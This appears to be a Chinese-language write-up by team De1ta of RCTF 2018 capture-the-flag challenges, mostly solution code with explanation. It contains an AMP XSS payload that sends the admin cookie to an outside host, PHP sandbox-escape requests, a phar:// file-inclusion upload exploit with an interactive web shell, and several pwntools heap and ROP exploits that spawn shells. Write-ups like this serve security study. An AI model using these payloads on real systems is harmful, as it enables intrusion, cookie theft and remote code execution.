RCTF 2018 Writeup — De1ta
De1ta CTF 23061浏览 · 2018-05-21 18:01

Team:De1ta

0x00 Web

AMP

由cookie提示flag在admin的cookie 应该是xss

post后会log

应该和amp标准有关 : https://zh.wikipedia.org/zh-hans/Accelerated_Mobile_Pages

AMP规范 : https://www.ampproject.org/zh_cn/docs/fundamentals/spec

猜测使用AMP特性绕过csp打到cookie

AMP获取cookies的方法:https://github.com/ampproject/amphtml/blob/master/spec/amp-var-substitutions.md#client-id

网页源码里有句注释:

payload:

<amp-pixel src="https://487a72b5.2m1.pw/?cid=CLIENT_ID(FLAG)"></amp-pixel>

<amp-user-notification
    layout=nodisplay
    id="FLAG"
    data-show-if-href="https://487a72b5.2m1.pw"
    data-dismiss-href="https://487a72b5.2m1.pw">
    This site uses cookies to personalize content.
    < a href="">Learn more.</ a>
   <button on="tap:user-consent.dismiss">I accept</button>
</amp-user-notification>

<!-- Client ID is not provided until `user-consent` is dismissed -->
<amp-pixel src="https://487a72b5.2m1.pw/?cid=CLIENT_ID(FLAG,FLAG)"></amp-pixel>

url编码后在浏览器触发


flag: RCTF{El_PsY_CONGRO0_sg0}

r-cursive

访问后在../sandbox/生成一个sha1文件夹,然后复制模板进去,提供了重定向到该文件夹和重置文件夹的功能
重定向后是个php沙箱,只能执行格式为`xxxx();`的函数

可以递归执行函数,不允许带参数
?cmd=print(readdir(opendir(getcwd()))); 可以列目录
?cmd=print(readfile(readdir(opendir(getcwd())))); 读文件
?cmd=print(dirname(dirname(getcwd()))); print出/var/www


翻阅文档找到`getallheaders()`函数,会返回所有的http请求头,因为header可控,所以可执行任意命令了
?cmd=print(implode(getallheaders()));

命令执行:

GET /?cmd=eval(implode(getallheaders())); HTTP/1.1
cmd: phpinfo(); //
Host: 39093088bf9a9d33d5dd5b973cc1232e2145ee49.sandbox.r-cursive.ml

接下来沙盒逃逸,从phpinfo看,这里是开了mod_vhost_alias


这里是利用auto_prepend来载入sandbox下的init.php来设置沙盒的open_basedir

所以这里通过修改host来逃逸沙盒的open_basedir。

  1. 正常的open_basedir:
GET /?cmd=eval(implode(getallheaders())); HTTP/1.1
cmd: echo ini_get('open_basedir');//
Host: 39093088bf9a9d33d5dd5b973cc1232e2145ee49.sandbox.r-cursive.ml
Content-Length: 4

  1. 把host头的39093088bf9a9d33d5dd5b973cc1232e2145ee49.sandbox去掉:

    GET /?cmd=eval(implode(getallheaders())); HTTP/1.1
    cmd: echo ini_get('open_basedir');//
    Host: .r-cursive.ml
    


    403是因为webroot没有index.php,正好说明已经逃逸出了沙盒
    所以去访问39093088bf9a9d33d5dd5b973cc1232e2145ee49/index.php 即可调用命令

  2. 借用39093088bf9a9d33d5dd5b973cc1232e2145ee49/index.php来执行命令:

    GET /39093088bf9a9d33d5dd5b973cc1232e2145ee49/index.php?cmd=eval(implode(getallheaders())); HTTP/1.1
    cmd: echo ini_get('open_basedir');//
    Host:  .r-cursive.ml

  3. 拿到flag

    GET /39093088bf9a9d33d5dd5b973cc1232e2145ee49/index.php?cmd=eval(implode(getallheaders())); HTTP/1.1
    cmd: echo ini_get('open_basedir');$myfile=fopen('/var/www/sandbox/init.php','r');echo fread($myfile,9999);//
    Host:  .r-cursive.ml

backdoor

题目的附件在RE 的complier
解压出来是一个archlinux的ISO,直接扔进vmware启动就行

/root文件夹下有helloworld.c和wallpaper.jpg两个文件,图片提取出来一个no_hint.txt:

用wireshark抓取虚拟机用gcc编译时的流量,发现会从http://backdoor.2018.teamrois.cn/control.sh
下载了一个bash脚本:

该脚本的主要工作为:

  1. 检测是否有wireshark|tshark|idaq|strace|gdb|edb|lldb|lida|hopper|r2|radare2进程,如果有,就向http://backdoor.2018.teamrois.cn/post.php?action=debugging&count=$debuggers发送“Oh, no! He's debugging! I'll kill them!!!!!!”,并杀死相关进程;
  2. 执行head -c100000 /dev/urandom > /tmp/random.txt 命令,将/tmp/random.txt打包为zip并发送给http://backdoor.2018.teamrois.cn/post.php?action=upload
  3. echo "Did you find the backdoor?" > ~/rctf-backdoor.txt

访问http://backdoor.2018.teamrois.cn/

查看源代码,有一段aaencode

解码得到到

document.loginform.onsubmit = function (e) { 
    e.preventDefault()
    document.getElementById('wp-submit').disabled = 'disabled'
    setTimeout(function () {
        document.getElementById('wp-submit').removeAttribute('disabled')
        alert('Login failed')
        "What? Need hint?"
        "index.php is a hint!"
    }, 3000)
}

意识到这个登陆页没啥用
http://backdoor.2018.teamrois.cn/post.php?action=upload
寻找突破口,发现可以文件读取

读post.php源码

http://backdoor.2018.teamrois.cn/post.php?action=php://filter/read=convert.base64-encode/resource=post

post.php

<?php
error_reporting(0);
include $_GET['action'] . '.php';

读upload.php源码

http://backdoor.2018.teamrois.cn/post.php?action=php://filter/read=convert.base64-encode/resource=upload

upload.php

<?php
if (!isset($_FILES['file'])) exit;
$file = $_FILES['file'];
$zip = new ZipArchive();
if (true !== $zip->open($file['tmp_name'])) {
    echo 'No a valid zip';
    exit;
}
if (false === $zip->getFromName('tmp/random.txt')) {
    echo 'No file';
    exit;
}

$dest = 'uploads/' . md5($_SERVER['REMOTE_ADDR']) . hash('sha256', file_get_contents($file['tmp_name'])) . '.zip';
move_uploaded_file($file['tmp_name'], $dest);
echo 'Saved into ' . $dest;

post.php存在限制后缀的文件包含,可以通过phar://或者zip://协议绕过,从而包含恶意代码getshell,upload.php中限制了上传的文件要是个zip并且里面要有个random.txt文件。

我们在压缩包中再加入一个 evil.php 文件,当通过post.php 访问 action=phar://dest/evil 时,即访问 phar://dest/evil.php 注意 post.php 中的代码include $_GET['action'] . '.php'

最终构造exp如下,对应的压缩包tmp.zip已经作为附件上传。

exp.py:

import requests

s = "Saved into "
post_url = "http://backdoor.2018.teamrois.cn/post.php?action=upload"
zip_file = open("tmp.zip","rb")
upload_file = {'file':zip_file}
r = requests.post(post_url,files=upload_file)
dest = r.text[len(s):]
shell_url = "http://backdoor.2018.teamrois.cn/post.php?action=phar://"+ dest + "/evil"
print("[*] shell url: " + shell_url)
while  True:
    command = input("command: ")
    payload = {'chybeta': 'system("%s");' % command}
    r = requests.get(shell_url,params=payload)
    print(r.text)

0x01 Misc

sign

elf文件,binwalk一下有发现,binwalk提取出其中的png文件,是这样的:

提示wine

用wine运行getflag:

git

给了个git文件夹,估计flag是藏在提交历史里,
getflag:

cats

题目要求找出15个命令xxx,使得xxx food的输出结果等于cat food的输出结果

在本地docker测试可以免掉验证码

echo 'food'>yourCatFood
docker run -it --rm --network none -v /tmp/yourCatFood:/app/food:ro rctf_cats bash -c "timeout 5 diff -Z <(cat food) <(xxxx food)"

后来想到把food内容也设置为`food`,这样cat food就等于ls food等于echo
food了,用这种方法找出15个可用的命令,然后拿到flag

cats Rev.2

在1的基础上

If you can find at least 4 out of 5 cats whose names in (python3, bash, php,
node, ruby), I will give you another flag ._.

看来就是命令绕过了,1中只用到了php

一开始陷入误区,打算用软链接来替换掉命令

import os
os.system("ln -s /bin/cat /usr/local/sbin/gg")
f=open('food','r')
data=f.read()
print(data)

提交python3,gg,.....

但是,后来发现应该是将所有cat的名字分别代入到

sudo docker run -it --rm --network none -v /tmp/yourCatFood:/app/food:ro
rctf_cats bash -c "timeout 5 diff -Z \<(cat food) \<(yourCatName food)"

所以,每个环境都是独立的,相互不影响,所以需要写一个脚本是(python3,bash,node,ruby)中3个运行输出与cat一样的(php只要不写”\<?php”,直接原样输出)。

跟cat一致,那就是读取文件内容并输出了。

python3

print(open('food').read());

ruby

print(open('food').read());

bash

cat food

node

fs=require('fs');
var data=fs.readFileSync('food','utf-8');
console.log(data);

接下来是考虑整合了。

通过解析的差异和适当的exit来整合。

echo cat food;

在bash下输出文件内容,在ruby、node下无输出

print(open('food').read());

ruby运行OK,node运行报函数未定义,so,定义下函数

function print(data){
fs=require('fs');
var data=fs.readFileSync('food','utf-8');
console.log(data);
}
function open(filename){return {read:function(){}}}
function exit(){}

所以,结合起来

本地测试的时候,node是要去掉后面的回车

echo cat food;
echo exit;
print(open('food').read());exit();
function print(data){
fs=require('fs');
var data=fs.readFileSync('food','utf-8');
console.log(data.slice(0,-1));
}

function open(filename){return {read:function(){}}}
function exit(){}

但是,答题那里不用去掉末尾的回车,要改成

echo cat food;
echo exit;
print(open('food').read());exit();
function print(data){
fs=require('fs');
var data=fs.readFileSync('food','utf-8');
console.log(data);
}
function open(filename){return {read:function(){}}}
function exit(){}

Number Game

o o o o __o o__ o o_/

<| v\ /v v\ / \ / \ <| v

/ \ <\ /> <\ \o/ < >

\o/ o/ o/ | |

| _<| <| < > o/_

| \ \ | |

<o> \o \ / o <o></o></o>

| v\ o o <| |

/ \ <\ <__ __/> / \ / \

In every round of the game, I'll choose some different numbers from the figure
interval. You are required to guess those numbers,ofc so does the order of them.

On each surmise of yours, 2 numbers will be told as a hint for you, but you need
to speculate the fuctions of these 2 figures. (XD

GLHF

================== round 1 ==================

Give me 4 numbers, in[0, 10), You can only try 6 times

https://github.com/AustinGuo/GessNumber
脚本可以生成每关结果,然后半自动玩游戏23333

520gift

找出美妆博主:


flag:RCTF{rbdlmlombrslj}

0x02 Pwn

BabyHeap

最基础的off by null
chunk overlap + fastbin attack 极限利用.....做起来很不舒服......
思路首先是利用off by null来chunk overlap , chunk overlap之后利用fast bin
attack来get shell,基本上全是套路.........

from pwn import *

debug=0
e=ELF('./libc.so')
context.log_level='debug'
if debug:
    p=process('./babyheap',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
else:
    p=remote('babyheap.2018.teamrois.cn',3154)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)


def alloc(sz,content):
    se('1\n')
    ru('please input chunk size:')
    se(str(sz)+'\n')
    ru('input chunk content:')
    se(content)
    ru('choice:')

def show(idx):
    se('2\n')
    ru('please input chunk index:')
    se(str(idx)+'\n')
    ru('content: ')
    data=ru('1. ')
    ru('choice:')
    return data

def delete(idx):
    se('3\n')
    ru('please input chunk index:')
    se(str(idx)+'\n')
    ru('choice:')

#-------------init----------------
alloc(0x48,'0\n')
alloc(0xf9,(p64(0x100)+p64(0x21))*0x10)
alloc(0xa8,'2'*8+p64(0x21)*10+'\n')
alloc(0x100,'3\n')

#-----------off by null-------------
delete(1)
delete(0)
alloc(0x48,'a'*0x48)


#----------chunk overlap--------
alloc(0x88,'1\n')
alloc(0x68,'4\n')

delete(1)
delete(2)


#-----------leak libc----------------
alloc(0x88,'1\n')

libc=u64(show(4)[:6]+'\x00\x00')
base=libc-0x3C4B78

malloc_hook=base+e.symbols['__malloc_hook']



#-----------fast bin attack-----------
delete(1)

alloc(0xa8,'a'*0x88+p64(0x71)+'\n')
delete(4)
delete(1)
alloc(0xa8,'a'*0x88+p64(0x71)+p64(malloc_hook-0x23)+'\n')
alloc(0x68,'t\n')
alloc(0x68,'a'*3+p64(base+0xf1147)*2+p64(base+0x846D0)+'\n')

print(hex(base))

print(hex(base+0x846D0))

p.interactive()

flag: RCTF{Let_us_w4rm_up_with_a_e4sy_NU11_byte_overflow_lul_7adf58}

simulator

这是一个mips的指令模拟器,先输入mips的汇编代码,然后会解析成二进制,之后根据二进制来执行对应的操作,在主函数那里貌似有一个栈溢出,但是leak不出来cookie…….

基本操作有这些,syscall 只实现了一个,就是print int,感觉可以利用lw
和sw进行任意地址读写

然后将 ___stack_chk_fail 的got 写改成 ret 的地址,就可以用栈溢出随便玩了

漏洞点在这里,没有判断小于0的情况

li \$a0,1883262208  
li \$a1,1883262209  
add \$a0,\$a0,\$a1  
lw \$a0,\$a0
li \$v0,1
syscall
END

利用这个payload可以打印got中某个地址的值

这里可以劫持控制流

li $a0,1883262209
li $a1,1883262210
add $a1,$a0,$a1
move $a0,$a1
lw $a0,$a0
li $v0,1
syscall
move $a0,$a1
li $v0,134523991
sw $v0,$a0
END

输完这个payload之后,就可以栈溢出

弄了半天ret2dlresolve,然后发现找libc快多了..........

下面是payload

from pwn import *
from hashlib import sha256
import itertools
import roputils

debug=0
context.log_level='debug'
rop=roputils.ROP('./simulator')
if debug:
    p=process('simulator')
    context.log_level='debug'
    gdb.attach(p)
    e=ELF('/lib/i386-linux-gnu/libc-2.24.so')
else:
    p=remote('simulator.2018.teamrois.cn', 3131)
    e=ELF('./libc.so')

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

s=string.letters+string.digits
if debug==0:
    chal=p.recv(16)
    for i in itertools.permutations(s,4):
        sol=''.join(i)
        if sha256(chal + sol).digest().startswith('\0\0\0'):
            break
    p.send(sol)

payload='''
li $a0,1883262209
li $a1,1883262210
add $a1,$a0,$a1
move $a0,$a1
lw $a0,$a0
li $v0,1
syscall
move $a0,$a1
li $v0,134523991
sw $v0,$a0
END
'''

se(payload)

puts=0x080485C0
main_addr=0x804AC23
bss_tmp=0x804DB20+0x100
pret=0x804B33B

tpayload='a'*44+p32(bss_tmp)+p32(puts)+p32(main_addr)+p32(0x0804D010)

ru('leave a comment: ')
se(tpayload+'\n')

printf=u32(p.recv(4))
base=printf-e.symbols['printf']

system=base+e.symbols['system']
binsh=base+e.search('/bin/sh').next()

rpayload='a'*48+p32(system)+p32(binsh)*2

se(rpayload+'\n')

p.interactive()

flag: RCTF{5imu_s1mu_sinnu_siml_l_simulator!_7a3dac}

RNote3

漏洞在delete那里.....未初始化变量......看了栈溢出那里半天....难受

delete函数未初始化变量,所以可以delete 任意一块地方

具体是先view了某一个想delete的堆,然后堆地址保存在栈上,然后这个时候进delete函数,随便输一个东西,然后因为找不到对应的堆,然后
i 这个时候是31,但是free的是栈上面的那个变量,所以可以use after
free,之后一个fastbin attack过去就可以了

payload 如下

from pwn import *

debug=0
context.log_level='debug'
e=ELF('./libc.so')
if debug:
    p=process('RNote3',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
else:
    p=remote('rnote3.2018.teamrois.cn',7322)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def add(title,sz,content):
    se('1\n')
    ru('please input title:')
    se(title)
    ru('please input content size:')
    se(str(sz)+'\n')
    ru('please input content:')
    se(content)
    sleep(0.1)

def show(title):
    se('2\n')
    ru('please input note title: ')
    se(title)
    ru('note content: ')
    sleep(0.1)

def edit(title,content):
    se('3\n')
    ru('please input note title:')
    se(title)
    ru('please input new content: ')
    se(content)
    sleep(0.1)

def delete(title):
    se('4\n')
    ru('please input note title: ')
    se(title)
    sleep(0.2)


add('1\n',0xa0,'a\n')
add('2\n',0xa0,'b\n')
show('1\n')
delete('a\n')
show('\n')

libc=u64(p.recv(6)+'\x00\x00')
base=libc-0x3C4B78

malloc_hook=base+e.symbols['__malloc_hook']

add('3\n',0xa0,'c\n')
add('4\n',0x68,'d\n')
add('5\n',0x68,'e\n')

show('4\n')
delete('a\n')
edit('\n',p64(malloc_hook-0x23)+'\n')
add('6\n',0x68,'f\n')
add('7\n',0x68,'a'*3+p64(base+0x4526a)*2+p64(base+0x846D0)+'\n')

se('1\n')

p.interactive()

flag:RCTF{P1e4se_Be_C4refu1_W1th_Th3_P0inter_3c3d89}

RNote4

堆溢出,可以变成任意写...

然后改掉DT_STRTAB的值,改到bss段的一个地方,之后往上面放system,然后delete掉一个堆,这个时候会调用free,然后因为free是第一次被调用,会调用dl_resolve来找在libc中的地址
,因为改了DT_STRTAB,所以会找到sysytem,变成调用system(“/bin/sh”);,之后就get
shell了

from pwn import *

debug=0
context.log_level='debug'
if debug:
    p=process('RNote4',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
else:
    p=remote('rnote4.2018.teamrois.cn',6767)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)


def add(sz,content):
    se('\x01')
    se(chr(sz))
    se(content)


def edit(idx,sz,content):
    se('\x02')
    se(chr(idx))
    se(chr(sz))
    se(content)

def delete(idx):
    se('\x03')
    se(chr(idx))


def write(addr,content):
    payload='a'*0x18+p64(0x21)+p64(0x18)+p64(addr)
    edit(0,len(payload),payload)
    edit(1,len(content),content)

add(0x18,'a'*0x18)
add(0x18,'b'*0x18)
add(0x8,'/bin/sh\x00')

write(0x601EB0,p64(0x602100))
write(0x602100,'a'*0x5F+'system')
delete(2)
p.interactive()

flag:RCTF{I_kn0w_h0w_dl_f1xup_w0rks_503f8c}

stringer

readstr 末尾不会强制+0

*(_BYTE *)(size - 1 + p) = 0;

根据size 来,可leak

calloc 会清空原来chunk上的内容,libc 2.23 设置 is_mmap bit 可以绕过

del 有 uaf

结合起来 构造 overlap + uaf

使用 edit 功能可以构造出来一个 overlap

有对齐。改最后一个 byte是不行的了,尝试第二个byte

almost

get it

思路

edit 修改 fastbin 的第二个byte 造成偏移

在偏移位置写一个 fake fastbin

libc 2.23 版本 calloc的时候如果 is_mmap bit 被设置了,不会清空

使用fake fastbin 修改一个 unsorted bin 的size 造成overlap

后面就是 leak 然后fastbin attack 的常规套路了

#coding:utf-8
from pwn import *
import sys
import time

file_addr='./stringer'
libc_addr='./libc.so.6'
host='stringer.2018.teamrois.cn'
port=7272

libc=ELF(./libc.so.6)
p=remote(host,port)


malloc_hook_off=libc.symbols['__malloc_hook']
free_hook_off=libc.symbols['__free_hook']
unsorted_off=malloc_hook_off+88+0x10
fake_fastbin_malloc_hook=unsorted_off-88-0x13-0x20


def menu(op):
    p.sendlineafter('choice:',str(op))

def newsome(num,con):
    menu(1)
    p.sendlineafter('length:',str(num))
    p.sendlineafter('content:',con)

def showsome():
    menu(2)

def editsome(index,byteindex):
    menu(3)
    p.sendlineafter('index:',str(index))
    p.sendlineafter('index:',str(byteindex))

def delsome(index):
    menu(4)
    p.sendlineafter('index:',str(index))


newsome(0x28,'0'*(0x10-4)+p64(0x31))
newsome(0x100-0x20,'1'*0xc0+p64(0)+p64(0x33)+p64(0))
newsome(0x100,'2'*0x10)
newsome(0x60,'3'*0x10)
newsome(0x28,'4'*0x10)
delsome(0)
delsome(4)

editsome(4,1)

newsome(0x28,'5'*0x10)
#6
newsome(0x28,p64(0)*3+p64(0x181))

delsome(2)
delsome(3)
newsome(0x80,'7'*0x10)
newsome(0x90,'8'*0x70+p64(0)+p64(0x73))
delsome(8)
newsome(0x60,'9'*(0x20-1))
p.recvuntil('99999999\n')
leak=u64(p.recvline().strip().ljust(8,'\x00'))
libc_base=leak-unsorted_off

leaksome['leak']=leak
leaksome['libc_base']=libc_base

# overwrite 2 0x71

newsome(0x90,'a'*0x70+p64(0)+p64(0x71))
delsome(10)
delsome(9)

newsome(0x90,'b'*0x70+p64(0)+p64(0x71)+p64(libc_base+fake_fastbin_malloc_hook))

delsome(0xb)
newsome(0x60,'c'*0x10)


one_gadget=0xf02a4 


newsome(0x60,'d'*3+p64(libc_base+one_gadget)*4)

menu(1)
p.sendline(str(0x90))

show_leak()
exp_bp('aaaaaaa')
p.interactive()

flag: RCTF{Is_th1s_c1-1unk_m4pped?_df3ac9}

0x03 RE

babyre

out数据4字节一组, 流程sub_80488E0, 算法sub_804868B(部分参数不相关), 字符0x20-0x7F穷举就完事儿了.

#include <stdio.h>
#include <string.h>
#include <stdint.h>
uint32_t foo(uint32_t a1, uint64_t a2) // sub_804868B
{
    int j;
    uint64_t v5;
    uint32_t in;
    in = a1;
    for (j = 0; j <= 527; ++j)
    {
        v5 = a2 >> (j & 0x1F);
        if (j & 0x20)
            v5 = v5 >> 32;
        in = (in >> 1) ^ ((v5 ^ in ^ (in >> 16) ^ (0x5C743A2E >> (((in >> 1) & 1)
            + 2
            * (2
                * (((in >> 20) & 1)
                    + 2
                    * (2 * ((in & 0x80000000) != 0)
                        + ((in >> 26) & 1)))
                + ((in >> 9) & 1))))) << 31);
    }
    return in;
}

int main()
{
    uint32_t data[30] = // out
    {
        0xB80C91FE,0x70573EFE,
        0xBEED92AE,0x7F7A8193,
        0x7390C17B,0x90347C6C,
        0xAA7A15DF,0xAA7A15DF,
        0x526BA076,0x153F1A32,
        0x545C15AD,0x7D8AA463,
        0x526BA076,0xFBCB7AA0,
        0x7D8AA463,0x9C513266,
        0x526BA076,0x6D7DF3E1,
        0xAA7A15DF,0x9C513266,
        0x1EDC3864,0x9323BC07,
        0x7D8AA463,0xFBCB7AA0,
        0x153F1A32,0x526BA076,
        0xF5650025,0xAA7A15DF,
        0x1EDC3864,0xB13AD888
    };
    int i;
    uint32_t j;
    for (i = 0; i < 30; i++)
        for (j = 0x20; j < 0x7F; j++)
            if (foo(j, 0x1D082C23A72BE4C1) == data[i])
                printf("%c", j);
    printf("\n");
    return 0;
}

flag: RCTF{Kee1o9_1s_a1ready_so1ved}

simple vm

p.bin是虚拟机字节码. 输入长32, 加密后与常量比较.

常量偏移+0x005, hex1018431415474017101D4B121F49481853540157515305565A08585F0A0C5809. 输入偏移+0x111, hex3031323334353637383941424344454630313233343536373839414243444546, 既"0123456789ABCDEF0123456789ABCDEF", 加密后hex101010101010101010106B696F696B69000000000000000000007B797F797B, 猜出算法解密常量.

s = "1018431415474017101D4B121F49481853540157515305565A08585F0A0C5809".decode("hex")
ss = ""
for i in xrange(0,0x20):
    ss = ss + ("%c" % ((0x20+i) ^ ord(s[i])))
print ss

字节码分析(未完成):

0130000000 jmp loc_30
1018431415474017101D4B121F49481853540157515305565A08585F0A0C5809
0001020304050600000000

loc_30:
1500010000 set p
loc_35:
0E ++p
12 read p
0B putchar
0C 00010000 35000000 loop [100]+1=0A+1=0B times
66

1510010000 set p
loc_47:
0E ++p
0A getchar
66
16 write p
0C 10010000 47000000 loop [110]+1=1F+1=20 times
66

loc_55:

03 40010000 mov reg1, [imm] [140] = 0x20 // xor key
10 mov reg2, reg1
11 F1000000 add reg1, imm 0xF1 = 0x111 // input offset
13 mov reg1, [reg1]
04 43010000 mov [imm], reg1 [0x143]
08 mov reg1, ~(reg2 & reg1)
04 41010000 mov [imm], reg1 [0x141]
10 mov reg1, reg2
03 40010000 mov reg1, [imm] [140]
08 mov reg1, ~(reg2 & reg1)
04 42010000 mov [imm], reg1
03 41010000 mov reg1, [imm]
03 43010000 mov reg1, [imm]
08 mov reg1, ~(reg2 & reg1)
10 mov reg1, reg2
03 42010000 mov reg1, [142]
08 mov reg1, ~(reg2 & reg1)
04 44010000 mov [144], reg1
66
03 40010000
11 F1000000
10
03 44010000
16
05 40010000
0E
06 40010000
0C 45010000 55000000
66

locB6:
03 46010000 mov reg1 imm
11 05000000 add reg1, imm 0x05 // const offset
13 mov reg1,[reg1]
10 mov reg2, reg1
03 46010000 mov reg1 imm
11 11010000 add reg1 imm 0x0111
13 mov reg1,[reg1]
17 cmp //memcmp
18 60010000 jne
0C 46010000 B60000000
17
60
1000066000000000000000000000000000000
000000000000000000000000000000
0A // 100
496E70757420466C61673A
0000000F
1F // 110
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
20000000
00
1F1F0000000000000000000557726F6E670A52696768740A00000015500100000E120B0C50010000650100000000000000
1556010000
0E
12
0B
0C500100007B010000
0000000000

flag: RCTF{09a71bf084a93df7ce3def3ab1bd61f6}

magic

第一部分校验_time64返回值. 找msvcrt._time64引用发现校验函数sub_402268, 用multiasm写shellcode调用程序自身代码跑time(运行前手动将00405020处0x100个字节复制到00404C00).

<0000000000404A00>
    lea rax, [0000000000405FF0]
    mov dword ptr ds:[rax], 0x5AFFE78F

    @loop:
    lea rdi, [0000000000405020]
    lea rsi, [0000000000404C00]
    mov rcx, 0x100
    rep movsb

    call 0x0000000000402268

    lea rax, [0000000000405FF0]
    mov eax, [rax]
    cmp eax, 0x5B028A8F
    jge short @breakme

    lea rax, ds:[0x00000000004099D0]
    mov eax, dword ptr ds:[rax]
    test eax, eax
    je short @loop

    @breakme:
    nop ; set a breakpoint here

    @hooktime:
    lea rcx, [0000000000405FF0]
    mov eax, [rcx]
    add eax, 1
    mov [rcx], eax
    ret

<0000000000402275>
    call @hooktime

跑出time: 0x5B00E398

第二部分虚拟机. 断msvcrt.scanf找到校验函数sub_4023B1. 取26字节输入rc4(可能修改过)加密后传入虚拟机. 字节码分析:

AB0300 mov r3, 00
AB041A mov r4, 1A
AB0066 mov r0, 66
AA0502 mov r5, r2 ; r2 = input
A953 add r5, r3
A005 mov r5, [r5]
AB06CC mov r6, CC
A956 add r5, r6
AB06FF mov r6, FF
AC56 and r5, r6
AE50 xor r5, r0
AD00 neg r0
AA0605 mov r6, r5
AA0501 mov r5, r1 ; r1 = const
A953 add r5, r3
A005 mov r5, [r5]
AF5600 div r5, 00 ; cmp r5, r6
A701CC jcc reg5
A935 add r3, r5
AA0503 mov r5, r3
AF5400 div r5, r4 ; cmp r5, r4
A6D1CC jcc !reg5

常量解密:

b = [0x89, 0xC1, 0xEC, 0x50, 0x97, 0x3A, 0x57, 0x59, 0xE4, 0xE6, 0xE4, 0x42, 0xCB, 0xD9, 0x08, 0x22, 0xAE, 0x9D, 0x7C, 0x07, 0x80, 0x8F, 0x1B, 0x45, 0x04, 0xE8]
s = ""
k = [0x66,0x99] 
for i in xrange(0, 26):
    b[i] = b[i] ^ k[i & 1]
    b[i] = (b[i]+0x100-0xCC) & 0xFF
    s = s + ("%02X" % b[i])
print s

得到238CBEFD25D765F4B6B3B60FE174A2EFFC384ED21A4AB11096A5. 调试时手动替换rc4数据, 解密得"@ck_For_fun_02508iO2_2iOR}". 输入程序得到字符画:

the part of flag was protected by a magic spell!
@ck_For_fun_02508iO2_2iOR}
.843fFDCb52bc573DA7e336b4BCC97C6E.
.1adC4b19FEBA1Bf9D182FAe8Eac1AeBF.
.CB7EEFeD2B2D6dd76f   bE  D0 ec92.
.DD1C36EDBaf56 63b6 ad83 f5D a60D.
.28CCE56eaBbcF 0Bb9 ed7F 669 aff7.
.    dC   83     4    bf a01     .
.  DAB 2a0 CBD eB74 9eF6 0De 1Bf .
.  E15 d55A276 7A4c fA7 eE72 dc7 .
.  afB bE0fa2e 7Bf9 Eb14 6A5 891 .
.  DCf c907BF9 aFBB 28eA 4dE aB1 .
.  B25 c5B 16d d90f 0cb0 D78 Edd .
.  aEA7   eDaD   07 743A 935 27d .
.D38f5b1FacEaBDeFBEEcbA4 0b9D0A0f.
.ce1A5DFCe012a0a62A5e2D8  8e38C9A.
.CC1b26fF12fC01f8aeB7cAC06c65FCbe.
.e663471A878EcE289bee7c11d7f8CF7b.
.--------------------------------.
    @ck_For_fun_02508iO2_2iOR}
.--------------------------------.

flag: rctf{h@ck_For_fun_02508iO2_2iOR}

sql

指令集https://www.sqlite.org/opcode.html

类似与汇编代码。先初始化寄存器存的值,然后取值进行比较。

每行数值依次含义为

(用excel导入一下数据看起来比较清晰)

主要指令流程如下:

goto 93

初始化一系列Interger和String到内存中

goto 2

OpenRead

Rewind # if the table or index is empty, jump to 91 (close)

循环Column(取值)、Function(调用substr(X,Y,Z)函数)、Ne(比较),简化如下:

# The substr(X,Y,Z) function returns a substring of input string X that begins
with the Y-th character and which is Z characters long.

r2,1,1,f

r6,3,1,a

r10,25,1,r

r14,14,1,g

r18,9,1,_

r22,12,1,f

r25,21,1,r

r28,18,1,_

r31,28,1,}

r35,15,1,a

r38,2,1,l

r42,13,1,_

r45,16,1,l

r48,27,1,a

r51,7,1,q

r55,10,1,r

r58,22,1,e

r62,4,1,g

r65,24,1,e

r68,20,1,s

r72,11,1,o

r76,8,1,s

r79,19,1,s

r82,6,1,l

r85,26,1,_

r88,23,1,v

r92,5,1,{

r96,17,1,f

(前三列为substr的三个参数,最后一列为用作比较的字符)

调整一下顺序可得flag

flag: flag{lqs_rof_galf_esrever_a}

compiler

第一部分compiler, gcc编译helloworld.c, 在程序中发现字符串:

RCTF_HINT1: Compiler flag part 1 is here, but where is part 2?

You can think about this question: Why does this function exists in this binary?

RCTF_HINT2: part 2 is not in gcc, dont waste you time.

断libc_start_main在栈中找到part1:"RCTF{Without".

第二部分bash, 先12次flag, 再2次prince(executable name为bash)跳过公主死亡的剧情, 继续flag得到hint:

The flag is (part1, plain(hash1), plain(hash2), plain(hash3), '}').join('')
The hashes of remaining flag is: 13340610174042144018, 95741437967718225, 484886919005526
I know the queen hijacked me by a function which used this hash algorithm!

hijack用的是add_alias函数, hash算法在hash_insert中:

v4 = *string;
    v5 = string;
    for ( hash = 0LL; v4; v4 = *v5 )
    {
      ++v5;
      hash = v4 ^ 0x8B * hash;
    }

穷举明文:

#include <stdio.h>
#include <stdint.h>

char buf[100];

void foo(int i, uint64_t val)
{
    uint64_t base, v, ch;
    int j;
    if (val == 0)
    {
        for (j = i - 1; j >= 0; j--)
        {
            printf("%c", buf[j]);
        }
        printf("\n");
        return;
    }

    base = val / 0x8B;

    v = (base) * 0x8B;
    ch = v ^ val;
    if (ch >= 0x20 && ch < 0x7F)
    {
        buf[i] = ch;
        foo(i + 1, base);
    }

    v = (base + 1) * 0x8B;
    ch = v ^ val;
    if (ch >= 0x20 && ch < 0x7F)
    {
        buf[i] = ch;
        foo(i + 1, base + 1);
    }
}


int main()
{
    foo(0, 13340610174042144018);
    printf("done\n");
    foo(0, 95741437967718225);
    printf("done\n");
    foo(0, 484886919005526);
    printf("done\n");
    return 0;
}

_no_seAms
_NoR_nEe
Dlework

flag: RCTF{Without_no_seAms_NoR_nEeDlework}

simple re

校验函数sub_401482.

穷举第一段24个字符:

#include <stdio.h>
#include <stdint.h>

int main()
{
    uint32_t aa[6], bb[6], cc[6], j;
    uint64_t n, m;
    char *p;
    int i;
    bb[0] = 0x556E4969;
    bb[1] = 0x2E775361;
    bb[2] = 0x893DAE7;
    bb[3] = 0x96990423;
    bb[4] = 0x6CF9D3E9;
    bb[5] = 0xA505531F;
    aa[0] = 0x54A0B9BD;
    aa[1] = 0x4B818640;
    aa[2] = 0x8EB63387;
    aa[3] = 0xA9EABEFD;
    aa[4] = 0xB8CDF96B;
    aa[5] = 0x113C3052;

    for (i = 0; i < 6; ++i)
    {
